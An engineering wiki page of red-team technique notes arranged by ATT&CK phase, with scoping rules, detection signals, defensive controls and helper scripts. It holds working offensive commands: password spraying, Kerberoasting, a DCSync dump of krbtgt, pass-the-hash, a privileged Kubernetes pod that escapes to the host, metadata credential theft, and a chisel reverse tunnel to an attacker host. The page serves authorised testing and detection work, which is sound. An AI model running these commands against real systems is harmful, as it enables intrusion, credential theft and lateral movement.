Software Engineering WikiSE Wiki

Red team

Technique notes for authorised offensive testing, arranged by ATT&CK phase, with the tooling and the telemetry each step leaves behind.

Reviewed MarkdownEdit

On this page

Authorised testing only

Use these against systems you own or have a signed scope and rules of engagement for. Everything here is loud in some way; the detection column is what a defender should see, and if they do not, that finding is worth more than the access. Destructive impact techniques and antivirus-disabling recipes are deliberately out of scope on this page.

Cheatsheet#

TaskCommand
Subdomains, passivesubfinder -d example.com -silent
Resolve and probehttpx -l hosts.txt -sc -title -tech-detect
Port sweep, fastnmap -sS -Pn --top-ports 1000 --min-rate 2000 -oA scan 10.0.0.0/24
Service and version detailnmap -sV -sC -p 22,80,443 target -oA svc
Web content discoveryffuf -u https://target/FUZZ -w list.txt -mc 200,301,403
SMB enumerationnetexec smb 10.0.0.0/24 -u '' -p '' --shares
LDAP enumerationldapsearch -x -H ldap://dc-01 -b 'dc=example,dc=com'
Kerberos user listkerbrute userenum -d example.com users.txt
Hash crackinghashcat -m 13100 hashes.txt rockyou.txt
Credential spray, slownetexec smb dc-01 -u users.txt -p 'Season2025!' --continue-on-success
Local privesc checkslinpeas.sh, winPEASx64.exe
AD attack pathsBloodHound with SharpHound/bloodhound-python
SOCKS through a hostchisel client attacker:8080 R:socks
Route tools through itproxychains4 -q nmap -sT -Pn target

Ground rules#

Scope, time window, and escalation contact in writing before the first packet. Log everything you run with timestamps. The client’s detection team needs to correlate, and you need to prove what you did and did not do.

Prefer the quietest technique that answers the question. Noise is a finding when nobody notices it and a liability when someone does.

DisciplinePractice
DeconflictionTimestamped command log, attacker source addresses shared with the blue team
Data handlingScreenshot proof, not bulk data exfiltration; store evidence encrypted
CredentialsNever reuse client credentials outside the engagement; destroy at report delivery
Blast radiusNo denial of service, no destructive changes, no production data modification
CleanupRemove implants, accounts and scheduled tasks; list them in the report regardless

Scoping and authorisation#

The authorisation document is the engagement. It names the legal entity granting permission, the person with authority to grant it, the exact assets in scope, the assets explicitly out of scope, the test window, and the actions that require a stop-and-call rather than proceeding. Nothing starts before it is signed by someone who can actually authorise it; a project manager forwarding an email is not that person. For anything hosted by a third party (cloud provider, SaaS, managed DNS) confirm whether the provider’s own rules require separate notification, because the client cannot authorise testing of infrastructure they do not own.

Turn the written scope into a machine-readable allow-list before the first scan, so a fat-fingered CIDR cannot stray. Keep in-scope ranges, out-of-scope ranges and the current date window in one file that every tool and wrapper reads. Re-validate every target against it at run time, not just once at the start.

Scope artefactWhat it pins down
In-scope networksCIDRs, hostnames and cloud account IDs that may be touched
Explicit exclusionsProduction databases, third-party tenants, executive endpoints, anything fragile
Test windowStart and end timestamps, allowed hours, blackout periods
Rules of engagementPermitted techniques, social-engineering limits, data-handling rules
Escalation contactsWho to call on a suspected real breach, a system falling over, or a safety concern
Deconfliction channelHow the blue team distinguishes your traffic from a genuine intrusion

Two failure modes dominate real engagements: testing something out of scope because the target list was never reconciled against the exclusions, and a control the client thought existed being absent, so a routine action has an outsized effect. Both are prevented by the same habit, reading the current scope file before every action and stopping the moment reality diverges from the brief.

The rules of engagement also protect the tester. They record that each action was authorised, which is the difference between a penetration test and a computer-misuse offence. Keep the signed document, the scope file and the command log together; they are the evidence that the work stayed inside the grant.

Reconnaissance#

TechniqueCommandDetection signal
Passive subdomainssubfinder -d example.com -all -silentNone; certificate transparency and public sources
Certificate transparencycurl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sort -uNone
DNS zone datadig axfr example.com @ns1.example.comZone transfer attempt logged by the DNS server
Live web hostshttpx -l hosts.txt -sc -title -tech-detect -o web.txtWeb access logs, unusual user agent
Port discoverynmap -sS -Pn --min-rate 2000 -p- targetIDS scan signatures, firewall connection counts
Service fingerprintnmap -sV -sC -p- --open targetBanner grabs, versioned probes
Content discoveryffuf -u https://target/FUZZ -w raft-medium.txt -mc all -fc 404404 flood in web logs, WAF rate limits
Cloud asset discoverycloud_enum -k exampleProvider access logs, bucket access denied events
Credential exposurePublic breach data, git log -S 'password' in cloned repositoriesNone externally
subfinder -d example.com -silent | httpx -silent -sc -title -tech-detect | tee web.txt
nmap -iL hosts.txt -sS -Pn --top-ports 1000 --min-rate 1500 -oA sweep
nuclei -l web.txt -severity high,critical -o findings.txt

Initial access#

VectorNotesDetection signal
Exposed service with a known CVEVerify the version before firing anythingExploit signature, service crash, patch-level mismatch
Default or reused credentialsSpray slowly, respect lockout policyFailed logon bursts (4625), lockouts
Exposed admin interfacesJenkins, Grafana, Kibana, Docker API, Kubernetes APIUnusual source address on a management port
Phishing (if in scope)Payload and pretext agreed in writing beforehandMail gateway logs, attachment detonation, user report
Supply chain of your own toolingOut of scope for almost every engagementNone
# Spray with lockout awareness: one password, all users, then wait
netexec smb dc-01.example.com -u users.txt -p 'Winter2025!' --continue-on-success --no-bruteforce

Password spraying is the most common way in and the easiest to detect: a single password against many accounts produces a distinctive burst of 4625 events across the domain. If nobody alerts, that is the finding.

Execution and persistence#

TechniqueWhereDetection signal
Scheduled task / cronschtasks /create, crontab -eTask creation events (4698), /var/log/cron
systemd unit or timer/etc/systemd/system/*.serviceNew unit files, systemd-analyze diffs
Service creationsc.exe create7045 service installed
Run keyHKCU\...\RunRegistry autorun monitoring
SSH authorized_keysAppend a key to a service accountFile integrity monitoring, key fingerprint audit
Container or clusterCronJob, mutating webhook, privileged DaemonSetKubernetes audit log, admission controller
CI/CDPipeline step or self-hosted runnerPipeline definition diff, runner registration
# Kubernetes: a node-level foothold looks like this and should be alerted on
kubectl run shell --rm -it --image=alpine --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"s","image":"alpine","securityContext":{"privileged":true},"stdin":true,"tty":true,"command":["nsenter","--target","1","--mount","--uts","--ipc","--net","--pid","--","bash"]}]}}'

Any Kubernetes cluster that allows that pod should fail its own admission policy review. Test it, capture the result, and check whether the audit log shows it.

Privilege escalation#

CheckCommandWhy it works
Sudo rulessudo -lMisconfigured NOPASSWD on an interpreter or editor
SUID binariesfind / -perm -4000 -type f 2>/dev/nullUnexpected SUID with a shell escape (GTFOBins)
Writable service unitsfind /etc/systemd -writable 2>/dev/nullRoot executes what you can edit
Capabilitiesgetcap -r / 2>/dev/nullcap_setuid, cap_dac_override on a binary
Cron jobscat /etc/crontab; ls -la /etc/cron.*Writable script or wildcard injection
Kernel versionuname -a and known exploitsUnpatched local privilege escalation
Container escapecat /proc/1/cgroup, check for privileged, hostPath, docker socketThe socket is root on the host
Cloud metadatacurl -s 169.254.169.254/latest/meta-data/iam/security-credentials/Instance role often over-permissioned
Windows service pathswmic service get name,pathnameUnquoted paths, writable binaries
Token privilegeswhoami /privSeImpersonate leads to well-known escalations
linpeas.sh -a 2>&1 | tee linpeas.txt        # noisy but thorough; expect EDR to notice
sudo -l
find / -perm -4000 -type f 2>/dev/null
curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'

IMDSv2 (AWS) requires a token header, which is why an SSRF that reaches metadata on IMDSv1 is a critical finding and the same SSRF on v2 usually is not.

Credential access#

SourceTechniqueDetection signal
Kerberos service ticketsKerberoasting: GetUserSPNs.py -request4769 for RC4 tickets, unusual SPN requests
Accounts without preauthAS-REP roasting: GetNPUsers.py4768 with preauth disabled
LSASS memoryDump and parse offlineEDR alert on process access to lsass.exe
SAM / SYSTEM hivesreg save then secretsdump.py LOCALRegistry hive save events
NTDS.ditntdsutil snapshot, or secretsdump.py -just-dcDCSync replication from a non-DC (4662)
Linux shadow fileRequires root alreadyFile access auditing
Cloud credentials~/.aws/credentials, environment, instance roleCloudTrail credential use from a new address
Application secrets.env, CI variables, unencrypted state filesSecret scanning, access to state buckets
GetUserSPNs.py example.com/user:pass -dc-ip 10.0.0.10 -request -outputfile spns.hash
hashcat -m 13100 spns.hash rockyou.txt -r best64.rule
secretsdump.py -just-dc-user krbtgt example.com/admin@dc-01 -k -no-pass

DCSync from anything that is not a domain controller is the single highest-value detection in a Windows environment; the same directory that FreeIPA and IdM protect on Linux. Test whether it alerts.

Discovery and lateral movement#

TechniqueCommandDetection signal
Domain mappingbloodhound-python -d example.com -u u -p p -c AllHeavy LDAP queries from one host
Share enumerationnetexec smb 10.0.0.0/24 -u u -p p --sharesMass SMB session setups
Interesting filesnetexec smb targets -u u -p p -M spider_plusFile server access spike
Pass the hashnetexec smb target -u admin -H <nthash>NTLM logon type 3 from an unusual host
Pass the ticketexport KRB5CCNAME=ticket.ccache; psexec.py -k -no-passTicket use from a new source
WMI / WinRM executionwmiexec.py, evil-winrm -i host -u u -H hash4688 process creation, WinRM logs
SSH pivotingssh -J bastion target, agent forwarding abuseAuth logs, unusual jump patterns
Tunnellingchisel server -p 8080 --reverse, then R:socksLong-lived outbound connections to an unknown host
chisel server -p 8080 --reverse &                       # attacker
chisel client attacker.example:8080 R:socks             # foothold
proxychains4 -q netexec smb 10.10.0.0/24 -u u -p p

Lateral movement is where most engagements are caught, and where most are not caught but should be. Record the exact time of each hop so the client can measure detection latency.

Command and control#

ChoiceTrade-off
HTTPS beacon with long jitterBlends with normal traffic; slow interaction
DNSWorks where nothing else does; very noisy to a resolver that logs
Cloud service as redirectorReputation of a trusted domain; provider terms may prohibit it
Direct shellSimple, immediate, trivially detected

Agree the C2 infrastructure with the client in advance, including the domains and addresses, so their detection team can confirm what they should have seen afterwards. Egress filtering, TLS inspection and DNS logging are the three controls being tested here.

Exfiltration testing#

Demonstrate the path with canary data, not with the client’s real data. A file of known marker strings proves the control gap without creating a breach of your own.

ChannelControl being tested
HTTPS POST to an external hostEgress filtering, TLS inspection, DLP
DNS queriesDNS logging and exfiltration detection
Cloud storage uploadEgress allow-lists, provider-side DLP
Email attachmentMail DLP

Reporting#

A finding without impact and a fix is trivia. For each one record: what you did, when, from where, what it proved, what the business consequence is, and the smallest change that closes it. Include the detection timeline: which steps were alerted on, which were not, and how long each took.

Order by exploitability and impact, not by CVSS alone. A medium-severity issue on a path to domain admin outranks a critical on an isolated host.

A useful report is built as you go, not written at the end from memory. Structure each finding the same way so the reader can triage quickly:

FieldContent
TitleThe weakness in one line, phrased as the problem, not the tool
SeverityImpact and likelihood combined, with the reasoning, not a bare CVSS number
Affected assetsThe exact hosts, URLs or accounts, matched to the scope file
EvidenceTimestamped commands, request and response, screenshots with the clock visible
ImpactThe business consequence in the client’s terms, not the technical mechanism
RemediationThe smallest change that closes it, and the strategic fix if different
DetectionWhether the step was alerted on, and how long detection took

The detection timeline is often the most valuable part of the deliverable. Pair every technique with the telemetry it should have produced (the detection columns above), then record for each whether an alert fired, when, and who acted. A gap where a loud action went unnoticed is a finding in its own right, frequently more actionable than the vulnerability that enabled the action. Deliver the report over an encrypted channel, walk the client through it live, and destroy the working data and any harvested credentials once it is accepted.

Tooling reference#

Reach for maintained, well-documented tools rather than one-off scripts; the client can then reproduce a finding, and the tool’s own documentation carries the current syntax. Verify versions at the start of the engagement, because option names drift.

AreaToolsPurpose
Passive reconsubfinder, amass, crt.sh, dnsxEnumerate names without touching the target
Active reconnmap, masscan, httpx, naabuPort, service and web-surface discovery
Web surfaceffuf, feroxbuster, katana, nucleiContent discovery and templated checks
Directory / AD mappingBloodHound, SharpHound, bloodhound-python, ldapsearchRead-only relationship and privilege mapping
Credential auditinghashcat, johnOffline strength testing of hashes you are authorised to hold
Access verificationnetexec, impacket, kerbruteConfirm which credentials work where
Local posture checkslinpeas, winpeas, pspyEnumerate local misconfiguration (noisy; expect EDR)
Pivotingchisel, ligolo-ng, sshuttle, proxychainsRoute authorised tooling through a foothold
Cloud postureprowler, scoutsuite, pmapper, cloud_enumRead-only misconfiguration and IAM path review
Reportingnmap-to-* parsers, dradis, note templatesTurn scan output into structured findings

Prefer the read-only mode of any tool that has one, prefer official documentation over blog copy-paste for syntax, and record the exact command and version for every result so a finding can be reproduced. The ATT&CK catalogue and the PTES and OWASP WSTG methodologies give the vocabulary and phase structure the report should follow.

Troubleshooting#

SymptomCauseFix
proxychains connections hang or time outUDP or ICMP sent through a TCP-only SOCKS tunnel (nmap -sS, ping)Use TCP connect scans (nmap -sT -Pn) through the proxy; SOCKS carries TCP only
nmap shows every port open or filteredA firewall or IPS is tarpitting, or the host is behind a load balancerSlow down (--max-rate), confirm with -sT to a known-open port, check from another source
nmap misses hosts that are upDefault host discovery blocked by ICMP filtering-Pn to skip discovery, or -PS/-PA against ports likely to be allowed
Credential spray triggers lockoutsAttempt rate above the account lockout thresholdOne password per round, wait past the observation window; read the policy from the domain first
netexec or impacket fails with KRB_AP_ERR_SKEWClock skew over five minutes to the KDCSync the attacking host’s clock to the target’s time source; see IdM
Kerberos tooling fails with KDC_ERR_S_PRINCIPAL_UNKNOWNWrong SPN or wrong realm casing in the requestConfirm the exact principal; realm is upper-case, host part lower-case
ldapsearch returns operations error against ADAnonymous bind refused; authentication requiredBind with in-scope credentials (-D/-w or -Y GSSAPI with a ticket)
BloodHound collection incompleteCollector could not reach every DC, or lacked read on some objectsRun with a valid ticket, target each DC, use -c All; it needs only read access
Tool cannot resolve internal names through a pivotDNS not tunnelled with the SOCKS proxyPoint the tool at an internal resolver over the proxy, or use proxychains with proxy_dns
Findings not reproducible laterCommand, version or source address not recordedLog every command with a timestamp (see the wrapper in Scripts); pin tool versions
Uncertain whether a target is in scopeScope not reconciled against exclusionsStop; check the scope file; when still unclear, ask the escalation contact before proceeding

Oneliners#

Reconnaissance, scope hygiene and evidence handling only. Everything here is passive or read-only, or an engagement-management helper; run active commands only against assets in the signed scope.

# Passive subdomains, deduplicated, from certificate transparency and public sources
subfinder -d example.com -all -silent | sort -u

# Certificate transparency names for a domain (no packets to the target)
curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sort -u

# Which discovered names actually resolve, and to what
dnsx -l names.txt -a -resp -silent

# Live web hosts with status, title and detected technology, saved for the report
httpx -l hosts.txt -sc -title -tech-detect -o web-surface.txt

# Reverse-DNS a CIDR to spot naming conventions before any active scan
for ip in 192.0.2.{1..254}; do n=$(dig +short -x "$ip"); [[ -n $n ]] && printf '%s\t%s\n' "$ip" "$n"; done

# Confirm a single target is inside the in-scope allow-list before touching it
grep -qxF "$TARGET" scope/in-scope.txt && echo 'in scope' || echo 'OUT OF SCOPE - stop'

# Expand in-scope CIDRs to a flat host list the tooling can consume
while read -r c; do nmap -sL -n "$c" 2>/dev/null | awk '/Nmap scan report/ {print $NF}'; done < scope/in-scope-cidrs.txt > scope/hosts.txt

# Remove any excluded address from a target list before scanning
grep -vxF -f scope/exclusions.txt scope/hosts.txt > scope/targets.txt

# Are we inside the authorised test window right now
now=$(date -u +%s); [[ $now -ge $(date -u -d "$WINDOW_START" +%s) && $now -le $(date -u -d "$WINDOW_END" +%s) ]] && echo 'within window' || echo 'OUTSIDE window'

# Top-1000 TCP sweep of in-scope hosts, all output formats, for the record
nmap -iL scope/targets.txt -sS -Pn --top-ports 1000 --min-rate 1500 -oA evidence/sweep-$(date +%FT%H%M)

# Re-run only the services found open, for version detail
nmap -iL scope/targets.txt -sV -sC -p "$(awk -F/ '/open/ {print $1}' evidence/sweep-*.gnmap | sort -un | paste -sd,)" -oA evidence/services

# Templated safety and misconfiguration checks at high severity only
nuclei -l web-surface.txt -severity high,critical -o evidence/nuclei-$(date +%F).txt

# Content discovery excluding 404s, rate-limited to be polite
ffuf -u https://target/FUZZ -w wordlist.txt -mc all -fc 404 -rate 50 -o evidence/ffuf.json

# Read-only AD relationship collection with a valid ticket (needs only read access)
bloodhound-python -d example.com -u recon -p "$PASS" -c All -ns 192.0.2.10 --zip

# LDAP enumeration of the domain naming context with in-scope credentials
ldapsearch -x -H ldap://dc-01.example.com -D 'recon@example.com' -w "$PASS" -b 'dc=example,dc=com' '(objectClass=user)' sAMAccountName

# Hash the attacking host's source IPs so the blue team can filter deconfliction traffic
ip -4 -o addr show | awk '{print $4}' | tee evidence/attacker-source-ips.txt

# Timestamped, appended command log for the whole engagement
log() { printf '%s\t%s\n' "$(date -u +%FT%TZ)" "$*" >> evidence/commands.log; "$@"; }

# Screenshot proof of a web finding with the URL and time captured in the filename
gowitness single "https://target/path" -P evidence/screens/

# Count unique open ports across the sweep for a coverage summary
awk -F/ '/open/ {print $1}' evidence/sweep-*.gnmap | sort -un | wc -l

# Diff two sweeps to show what changed between test days
diff <(sort evidence/sweep-day1.gnmap) <(sort evidence/sweep-day2.gnmap)

# Extract host:port:service into a CSV the report generator reads
awk '/Ports:/ {host=$2; for (i=1;i<=NF;i++) if ($i ~ /open/) print host","$i}' evidence/services.gnmap

# Encrypt the evidence directory at rest before it leaves the test host
tar -cz evidence/ | age -r "$CLIENT_AGE_PUBKEY" > evidence-$(date +%F).tar.gz.age

# Verify TLS certificate details on an in-scope endpoint (see the TLS page for more)
openssl s_client -connect target.example.com:443 -servername target.example.com </dev/null 2>/dev/null | openssl x509 -noout -subject -dates

# Confirm cloud metadata protection on an in-scope instance (IMDSv1 reachable is a finding; see AWS)
curl -s --max-time 3 http://169.254.169.254/latest/meta-data/ -o /dev/null -w '%{http_code}\n'

# List scheduled tasks and services you may have created, to reconcile against cleanup
{ crontab -l 2>/dev/null; systemctl list-unit-files --state=enabled; } | grep -i "$ENGAGEMENT_TAG" || echo 'none tagged'

# Wordlist of just the hostnames from discovered web surface, for further passive lookups
awk '{print $1}' web-surface.txt | sed -E 's#https?://##; s#[:/].*##' | sort -u

Scripts#

Scope guard: a wrapper that refuses to run a command against any target that is not in the allow-list or is on the exclusion list, and that checks the test window. Source it and prefix active commands with scoped, so a mistyped range fails closed instead of scanning something it should not.

#!/usr/bin/env bash
# usage: source scope-guard.sh; scoped nmap -sT -Pn 192.0.2.10
# expects scope/in-scope.txt (hosts/CIDRs), scope/exclusions.txt (hosts), and WINDOW_START/WINDOW_END in the environment
set -euo pipefail

in_window() {
  local now start end
  now=$(date -u +%s)
  start=$(date -u -d "${WINDOW_START:?set WINDOW_START}" +%s)
  end=$(date -u -d "${WINDOW_END:?set WINDOW_END}" +%s)
  (( now >= start && now <= end ))
}

in_scope() {                                  # true only if $1 is inside an in-scope entry and not excluded
  local target=$1
  grep -qxF "$target" scope/exclusions.txt 2>/dev/null && return 1
  # exact host match, or membership of an in-scope CIDR via nmap -sL
  grep -qxF "$target" scope/in-scope.txt && return 0
  while read -r entry; do
    [[ $entry == */* ]] || continue
    nmap -sL -n "$entry" 2>/dev/null | grep -q "report for $target\$" && return 0
  done < scope/in-scope.txt
  return 1
}

scoped() {
  in_window || { echo 'REFUSED: outside the authorised test window' >&2; return 1; }
  # Check every argument that looks like an IPv4 address or a hostname
  local a
  for a in "$@"; do
    [[ $a =~ ^[0-9]+(\.[0-9]+){3}$ || $a =~ ^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$ ]] || continue
    in_scope "$a" || { printf 'REFUSED: %s is not in scope\n' "$a" >&2; return 1; }
  done
  printf '%s\t%s\n' "$(date -u +%FT%TZ)" "$*" >> evidence/commands.log
  "$@"
}

Engagement logger: wraps any command, captures stdout and stderr to a per-run evidence file, and appends a one-line index with the timestamp, exit code and output path. Gives a reproducible trail without thinking about it.

#!/usr/bin/env bash
# usage: run.sh nmap -sT -Pn 192.0.2.10
set -euo pipefail
mkdir -p evidence/runs
stamp=$(date -u +%Y%m%dT%H%M%SZ)
slug=$(printf '%s' "$*" | tr -c 'A-Za-z0-9' '-' | cut -c1-60)
out="evidence/runs/${stamp}_${slug}.log"

{
  printf '# command: %s\n# started: %s\n# host:    %s\n\n' "$*" "$stamp" "$(hostname)"
} > "$out"

set +e
"$@" > >(tee -a "$out") 2> >(tee -a "$out" >&2)
rc=$?
set -e

printf '\n# finished: %s\n# exit:     %d\n' "$(date -u +%FT%TZ)" "$rc" >> "$out"
printf '%s\texit=%d\t%s\t%s\n' "$stamp" "$rc" "$out" "$*" >> evidence/index.tsv
exit "$rc"

Findings summary: turns the running evidence/findings.tsv (severity<TAB>title<TAB>asset<TAB>detected) into a Markdown table ordered by severity, ready to paste into the report draft. Read-only.

#!/usr/bin/env bash
# usage: findings-summary.sh evidence/findings.tsv > report/summary.md
set -euo pipefail
f=${1:?findings tsv (severity<TAB>title<TAB>asset<TAB>detected)}

rank() { case ${1,,} in critical) echo 0;; high) echo 1;; medium) echo 2;; low) echo 3;; *) echo 4;; esac; }

printf '| Severity | Finding | Affected asset | Detected |\n| --- | --- | --- | --- |\n'
while IFS=$'\t' read -r sev title asset detected; do
  [[ -z ${sev:-} || $sev == severity ]] && continue
  printf '%d\t%s\t%s\t%s\t%s\n' "$(rank "$sev")" "$sev" "$title" "$asset" "$detected"
done < "$f" | sort -n | cut -f2- | while IFS=$'\t' read -r sev title asset detected; do
  # escape any pipe so the Markdown table renders
  printf '| %s | %s | %s | %s |\n' "$sev" "${title//|/\\|}" "${asset//|/\\|}" "${detected:-not tested}"
done

printf '\n_%d findings, generated %s._\n' "$(grep -vc '^severity' "$f")" "$(date -u +%F)"

Further reading#

Defensive counterpart#

Every technique above has a control worth verifying while you are there:

AreaControl
IdentityMFA everywhere, no reused local admin passwords (LAPS), tiered admin accounts
KerberosManaged service accounts, AES only, no unconstrained delegation
EndpointEDR with tamper protection, application allow-listing, LSASS protection
NetworkEgress filtering, internal segmentation, no flat management VLAN
CloudIMDSv2, least-privilege roles, no long-lived keys, CloudTrail with alerting
KubernetesPod Security admission, no privileged workloads, audit log shipped and alerted
DetectionAlerts for spraying, DCSync, new services, and outbound beacons